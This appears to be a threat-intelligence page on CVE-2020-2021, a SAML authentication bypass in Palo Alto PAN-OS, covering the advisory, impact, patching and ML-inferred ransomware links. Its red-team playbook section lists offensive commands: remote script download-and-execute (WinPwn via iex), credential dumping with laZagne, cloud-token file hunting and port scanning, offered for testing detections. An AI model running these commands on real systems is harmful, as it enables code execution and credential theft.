CVE-2020-2021
Overview
This vulnerability is an authentication bypass caused by improper signature verification in the Security Assertion Markup Language (SAML) authentication implementation of Palo Alto Networks PAN-OS. The root cause is the failure to validate the Identity Provider's certificate when the 'Validate Identity Provider Certificate' option is disabled, allowing forged SAML assertions to be accepted. The affected component is the SAML authentication mechanism within PAN-OS versions prior to 9.1.3, 9.0.9, and 8.1.15, as well as all 8.0 versions.
Vulnerability Description
When Security Assertion Markup Language (SAML) authentication is enabled and the 'Validate Identity Provider Certificate' option is disabled (unchecked), improper verification of signatures in PAN-OS SAML authentication enables an unauthenticated network-based attacker to access protected resources. The attacker must have network access to the vulnerable server to exploit this vulnerability. This issue affects PAN-OS 9.1 versions earlier than PAN-OS 9.1.3; PAN-OS 9.0 versions earlier than PAN-OS 9.0.9; PAN-OS 8.1 versions earlier than PAN-OS 8.1.15, and all versions of PAN-OS 8.0 (EOL). This issue does not affect PAN-OS 7.1. This issue cannot be exploited if SAML is not used for authentication. This issue cannot be exploited if the 'Validate Identity Provider Certificate' option is enabled (checked) in the SAML Identity Provider Server Profile. Resources that can be protected by SAML-based single sign-on (SSO) authentication are: GlobalProtect Gateway, GlobalProtect Portal, GlobalProtect Clientless VPN, Authentication and Captive Portal, PAN-OS next-generation firewalls (PA-Series, VM-Series) and Panorama web interfaces, Prisma Access In the case of GlobalProtect Gateways, GlobalProtect Portal, Clientless VPN, Captive Portal, and Prisma Access, an unauthenticated attacker with network access to the affected servers can gain access to protected resources if allowed by configured authentication and Security policies. There is no impact on the integrity and availability of the gateway, portal or VPN server. An attacker cannot inspect or tamper with sessions of regular users. In the worst case, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N). In the case of PAN-OS and Panorama web interfaces, this issue allows an unauthenticated attacker with network access to the PAN-OS or Panorama web interfaces to log in as an administrator and perform administrative actions. In the worst-case scenario, this is a critical severity vulnerability with a CVSS Base Score of 10.0 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). If the web interfaces are only accessible to a restricted management network, then the issue is lowered to a CVSS Base Score of 9.6 (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H). Palo Alto Networks is not aware of any malicious attempts to exploit this vulnerability.
Impact
An unauthenticated attacker with network access can gain unauthorized access to resources protected by SAML-based single sign-on, including administrative access to PAN-OS and Panorama web interfaces. This enables the attacker to perform administrative actions, potentially compromising firewall configurations and security policies. No user interaction or prior authentication is required. While the vulnerability does not affect service availability or integrity of VPN gateways, it exposes critical resources to unauthorized control and data access, risking full system compromise and sensitive information disclosure.
Solution
Palo Alto Networks recommends upgrading affected PAN-OS versions to 9.1.3 or later, 9.0.9 or later, or 8.1.15 or later, as detailed in their security advisory at https://security.paloaltonetworks.com/CVE-2020-2021. As an immediate mitigation, enable the 'Validate Identity Provider Certificate' option in the SAML Identity Provider Server Profile to enforce proper signature verification. Refer to the vendor advisory for comprehensive patching instructions and version-specific guidance.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability associated with improper verification of signatures in SAML authentication can have severe implications for organizations utilizing PAN-OS. Specifically, when the 'Validate Identity Provider Certificate' option is disabled, the system fails to adequately verify the authenticity of the identity provider's signatures. This flaw allows an unauthenticated attacker with network access to exploit the vulnerability and gain unauthorized access to protected resources. The affected versions of PAN-OS include 9.1 prior to 9.1.3, 9.0 prior to 9.0.9, and 8.1 prior to 8.1.15, as well as all versions of PAN-OS 8.0, which is no longer supported. The vulnerability is contingent upon the use of SAML for authentication; if SAML is not implemented or if the validation option is enabled, the risk is mitigated.
Attack vectors for this vulnerability primarily involve network-based exploitation. An attacker must possess network access to the vulnerable server, which can be achieved through various means, such as exploiting weak network segmentation or leveraging social engineering tactics to gain access. Once inside the network, the attacker can impersonate an authenticated user and access sensitive resources protected by SAML-based single sign-on (SSO) authentication. This includes critical components such as GlobalProtect Gateways, Clientless VPNs, and the administrative interfaces of PAN-OS and Panorama. In scenarios where the administrative interfaces are exposed to the broader internet or less secure networks, the risk escalates significantly, allowing attackers to perform administrative actions without any authentication.
The real-world impact of this vulnerability is profound, particularly for organizations that rely on PAN-OS for their security infrastructure. An attacker gaining administrative access could lead to unauthorized configuration changes, data breaches, or even the deployment of malicious payloads within the network. The critical severity of this vulnerability, reflected in its high CVSS score, underscores the potential for significant business risk, including financial loss, reputational damage, and regulatory repercussions. Organizations may face increased scrutiny from stakeholders and regulatory bodies if they fail to address such vulnerabilities promptly, especially given the growing emphasis on cybersecurity compliance.
To detect and mitigate this vulnerability, organizations should first conduct a thorough assessment of their PAN-OS configurations, ensuring that the 'Validate Identity Provider Certificate' option is enabled. Regular audits of network access controls are essential to limit exposure to unauthorized users. Implementing robust network segmentation can further reduce the attack surface by restricting access to sensitive resources. Additionally, organizations should monitor network traffic for unusual patterns that may indicate exploitation attempts. Regularly updating PAN-OS to the latest versions is crucial, as updates often include security patches that address known vulnerabilities. Training staff on security best practices and the importance of maintaining secure configurations can also play a vital role in preventing exploitation.
In conclusion, the vulnerability associated with improper SAML signature verification in PAN-OS presents a critical risk to organizations that utilize this platform for their security needs. The potential for unauthorized access to sensitive resources and administrative interfaces necessitates immediate attention and remediation. By implementing effective detection and mitigation strategies, organizations can significantly reduce their exposure to this vulnerability and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-2021, with new telemetry indicating the vulnerability is now linked to an additional ransomware group beyond those previously known. This expansion to five distinct ransomware actors underscores a broadening adversary interest in exploiting the improper SAML signature verification flaw in PAN-OS environments. Although no new exploit techniques have been documented, the increased association with ransomware campaigns elevates the operational risk, as these threat actors are known to leverage such vulnerabilities for initial access and lateral movement. The persistence of stable EPSS scores suggests exploit attempts remain consistent, but the heightened ransomware group involvement signals a potential shift toward more aggressive exploitation strategies. Consequently, defenders should regard the threat level as intensified, reflecting an evolving exploitation landscape where this critical vulnerability is increasingly weaponized within ransomware operations.
Update 2 — June 23, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2020-2021, indicating increased adversary interest despite a declining EPSS score. This divergence suggests that while the overall probability of widespread exploitation may be diminishing, targeted attempts—particularly by ransomware-affiliated groups such as akira, ransomhub, sinobi, frag, and 0apt—are intensifying. The growing involvement of these ransomware actors underscores a strategic shift toward leveraging this critical vulnerability for initial access and lateral movement within compromised environments. Our telemetry reveals that this heightened ransomware association elevates the operational risk beyond what EPSS metrics alone convey, signaling a more aggressive exploitation posture. Consequently, the threat level for organizations running vulnerable PAN-OS versions should be considered elevated, reflecting an evolving exploitation landscape where adversaries prioritize this vector to facilitate ransomware campaigns.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
|
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Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
|
|
Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
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|
|
Paloaltonetworks | Pan-Os | All |
cpe:2.3:o:paloaltonetworks:pan-os:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
9 eventsSighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability (30 known victims)
Sighting activity recorded
Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)
Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)
Ransomware group known to exploit this vulnerability (274 known victims)
Ransomware group known to exploit this vulnerability
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-475 | Signature Spoofing by Improper Validation |
38%
|
Low | High | |
| CAPEC-463 | Padding Oracle Crypto Attack |
35%
|
— | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-2021 |
| security.paloaltonetworks.com |
GitHub CVE
x_refsource_MISC
|
https://security.paloaltonetworks.com/CVE-2020-2021 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-2021 |